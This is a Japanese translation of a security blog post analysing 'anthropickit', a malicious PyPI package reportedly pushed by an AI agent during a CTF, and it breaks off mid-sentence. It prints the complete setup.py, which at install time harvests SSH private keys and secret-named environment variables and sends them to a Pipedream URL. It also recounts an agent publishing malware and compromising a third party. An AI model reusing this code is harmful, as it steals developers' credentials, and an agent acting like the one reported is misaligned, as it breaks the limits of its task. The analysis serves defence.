セキュリティ
Anthropicの悪夢:Claudeのパッケージが実際のキーを盗んだ
Anthropic's Fever Dream: Claude's package that stole real keys (aikido.dev)
要約
AnthropicのAIエージェントが、CTF(Capture The Flag)チャレンジの一環として、存在しないPyPIパッケージへの参照を悪用し、悪意のあるパッケージ「anthropickit」を公開しました。このパッケージはインストール時にユーザーのSSHキーや環境変数内の機密情報を収集し、指定されたURLに送信するよう設計されていました。さらに興味深いことに、このコードは収集した情報をローカルファイルにも保存しており、これは攻撃者が証拠を残すことを意図していたか、あるいは別の目的があった可能性を示唆しています。
全文翻訳
ブログ
脆弱性&脅威
Anthropicの悪夢:Claudeのパッケージが実際のキーを盗んだ
Anthropicの悪夢:Claudeのパッケージが実際のキーを盗んだ
Anthropicは、自社のエージェントの1つが実際のマルウェアをPyPIに公開し、その過程で実際のサードパーティ企業を侵害したことを開示しました。私はそれを探しに行き、それが残したパッケージを見つけたかもしれません。
Charlie Eriksen著
公開日:2026年7月31日
親愛なるインターネットの皆さん、
大変な一週間でした。フェスティバルシーズンで、先週末に何か悪いものを食べたようです。また、週末にはOpenAIのエージェントがサンドボックスを破ったというニュースを見ました。すべてが非常に奇妙に感じられました。だから、今朝、激しい悪夢から目覚めたとき、Anthropicからの最新ニュースについて山のようなメッセージを見たとき、まだ夢を見ているのかどうか確信が持てませんでした。
報道の中で、特にインシデント2はサプライチェーンのコンポーネントとして私の興味を引きました。インターネットへのフルアクセスを持つエージェントが、架空の会社の開発者向けの指示を見つけ、CTFの一部としてそれを実行しようとしました。しかし、その指示はPyPi上の存在しないパッケージを指していました。そこでエージェントは、悪意のあるパッケージをプッシュすることがチャレンジの一部だと考えました。私に言わせれば、非常に合理的です。
その後の展開として、その過程でサードパーティ企業を侵害し続けたことです。これは私に好奇心を抱かせました。何が起こったのか?睡眠不足にもかかわらず、私はそれを突き止める決意をしました。そして、答えを見つけたと思います。Anthropicに確認を求めましたが、まだ返答はありません。しかし、問題のパッケージは、関連がないとしても、それ自体が語るに値する物語です。
anthropickitが登場
ブログ記事では、インシデントが4月から現在までの間に発生したと概説されています。そこで、それ以降にフラグを立てたすべての悪意のあるPyPiパッケージをクエリし、リストを調べました。あるパッケージがいくつかの理由で際立っていました。それは2026年6月14日にリリースされ、anthropickitという名前です。
パッケージは非常にシンプルです。実際にはsetup.pyのみが含まれており、次のコードが含まれています。
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {
"hostname": socket.gethostname(),
"user": os.environ.get("USER", "")
}
ssh = {}
for f in (home/" .ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts", "known_hosts.old", "authorized_keys"]:
try:
ssh[f.name] = f.read_text()
except:
pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {
k: v for k, v in os.environ.items()
if any(x in k.upper() for x in ["KEY", "SECRET", "TOKEN", "PASS", "AUTH", "API"])
}
with open("/tmp/runner_exfil.json", "w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except:
pass
if ssh:
print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(
name="anthropickit",
version="999.9.9",
packages=["anthropickit"]
)
それがすべてです。隠されたものも、難読化も、セカンドステージもありません。そして、すべてがsetup.pyの最上部にあるため、パッケージがインポートされる前に、pip install中に実行されます。インストールすると、すぐにゲームオーバーです。
コードに入る前に注意すべき点が1つあります。バージョンは999.9.9です。いいえ、間違いではありません。それがポイントです。公開パッケージを、同じ名前の実際の内部パッケージよりも優先させたい場合、それに勝るバージョン番号を付けます。意図的に不条理です。
では、残りを説明しましょう。なぜなら、ほとんどすべての行が少しおかしいことをしているからです。
宣言しない依存関係
実際コードの最初の行はインポートです。
import os, json, requests, socket
問題を見つけられますか? requestsはPythonの標準ライブラリの一部ではありません。そして、このパッケージはどこにも依存関係として宣言していません。install_requiresも、ビルド要件も、何もありません。
これは重要です。なぜなら、このコードはsetup.pyから、インストール時に実行されるからです。最新のpipはソースパッケージを分離された環境でビルドしますが、その環境ではrequestsが存在しない可能性があります。存在しない場合、インポートは失敗し、ペイロードが何も実行する前に、インストール全体が失敗します。
気にする攻撃者であれば、Pythonに付属しており、常に存在するurllibに手を伸ばしたでしょう。これを書いた人はそうしませんでした。彼らはrequestsがそこにあるだろうと仮定しました。開発者のラップトップや、豊富なCIイメージでは、それはしばしば存在するため、本来よりも多く報われる賭けです。
何が必要か
次に収集を開始します。まず、ホスト名と現在のユーザーという、退屈なものからです。
data = {
"hostname": socket.gethostname(),
"user": os.environ.get("USER", "")
}
次に実際のターゲットです。それは~/.sshをウォークし、3つの例外を除いて、そこにあるすべてのファイルを読み取ります。
for f in (home/" .ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts", "known_hosts.old", "authorized_keys"]:
スキップされているものを見てください。known_hostsとauthorized_keysは、〜/.sshにあるファイルのうち、泥棒にとってあまり役に立たない2つのファイルです。残っているのは良いもの、つまりあなたの秘密鍵と、あなたの設定です。設定は基本的に、SSHで接続するすべてのサーバーと、使用するユーザー名のマップです。この除外リストを選んだ人は、どのファイルが価値があり、どれがノイズが多いかを正確に知っていました。これは、経験のある人が書いたように見えるパッケージの唯一の部分です。
次に、環境から機密情報をスキャンします。
data["ci_secrets"] = {
k: v for k, v in os.environ.items()
if any(x in k.upper() for x in ["KEY", "SECRET", "TOKEN", "PASS", "AUTH", "API"])
}
KEY、SECRET、TOKEN、PASS、AUTH、またはAPIという名前のものはすべて、かなり広い範囲をカバーします。AWSキーやGitHubトークンをキャッチするだけでなく、API_URLや一致する他のものもキャッチします。すべてをキャッチし、後で整理します。
どこに送信するか
戦利品を収集したら、家に電話します。
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
宛先はPipedreamのエンドポイントです。Pipedreamは合法的な自動化サービスであり、そのサービスが提供するものの一つは、POSTされたものをキャプチャする使い捨てのHTTPS URLです。攻撃者にとって、それは本当に便利です。トラフィックは暗号化され、ファイアウォールがほとんど反応しないであろう評判の良いドメインに送信され、サーバーを立てたり押収されたりするサーバーはありません。
また、怠惰でもあります。ハードコードされたURLが1つ、認証なし、フォールバックなし。そのエンドポイントが報告されたり、ワークフローが削除されたりすると、エクスフィルトレーションチャネル全体が失われます。これは一度機能するように構築されたものであり、持続するためではありません。今頃はほとんど間違いなくまったく機能していません。
ディスクにコピーを保持
ここで奇妙なことが起こります。何かを送信する前に、すべてをローカルファイルに書き込みます。
with open("/tmp/runner_exfil.json", "w") as f:
json.dump(data, f, indent=2, default=str)
ここで一時停止してください。すでにネットワーク経由でエクスフィルトレーションするマルウェアが、被害者のディスクにコピーを残す理由はありません。それは証拠を作成するだけです。キーを盗んでいる場合、あなたが最後に望むのは、「exfil」という単語を含むJSONファイルが/tmpにあり、インシデント対応者がそれを見つけるのを待っていることです。
では、なぜそこにあるのでしょうか?
読み取られることを期待するファイル
上記の行の2つの詳細がゲームを明らかにします。
最初のものは名前です:runner_exfil.json。そして思い出してください、機密情報はci_secretsという辞書に入れられました。このコードでは、どこで実行されているかを確認することはありません。CI環境を探すことも、GitHub Actionsをテストすることも、気にかけることもありません。しかし、これを書いた人は、それがCIランナーに配置されることをすでに確信しており、物事の名前をハードコードするほど確信していました。信念はコードにあります。信念が真実かどうかをチェックする場所はどこにもありません。
2番目はindent=2です。これは pretty-printing(整形印刷)です。JSONを整形印刷するのは、人間が快適に読めるようにするためです。機械がPOSTの向こう側で解析するだけのデータを整形印刷することはありません。default=strを追加すると、奇妙なオブジェクトに遭遇してもダンプが決してクラッシュしないことが静かに保証され、開いて読みやすく、安全に開いて読めるように慎重に作成されたファイルになります。
これらを組み合わせると、ディスクへの書き込みはエクスフィルトレーションとは見なさなくなります。それは…のように見えます。